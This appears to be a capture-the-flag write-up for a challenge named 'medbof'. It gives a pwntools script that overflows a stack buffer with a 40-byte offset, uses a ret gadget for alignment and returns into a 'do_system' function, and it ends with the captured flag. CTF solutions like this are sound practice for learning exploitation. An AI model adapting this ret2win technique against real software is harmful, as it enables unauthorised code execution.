medbof
Last updated
Last updated
#!/usr/bin/env python3
from pwn import *
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Set up pwntools for the correct architecture
exe = './medbof'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'info'
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
offset = 40
ret = 0x4004d1; #ropper --file=medbof --search="ret"
payload = flat(
b'A' * offset,
ret, # fix stack alignment issue
elf.symbols["do_system"] # ret2win
)
io.sendlineafter(b'a little harder this time', payload)
io.interactive()
flag{getting_better_at_hacking_binaries_i_see...}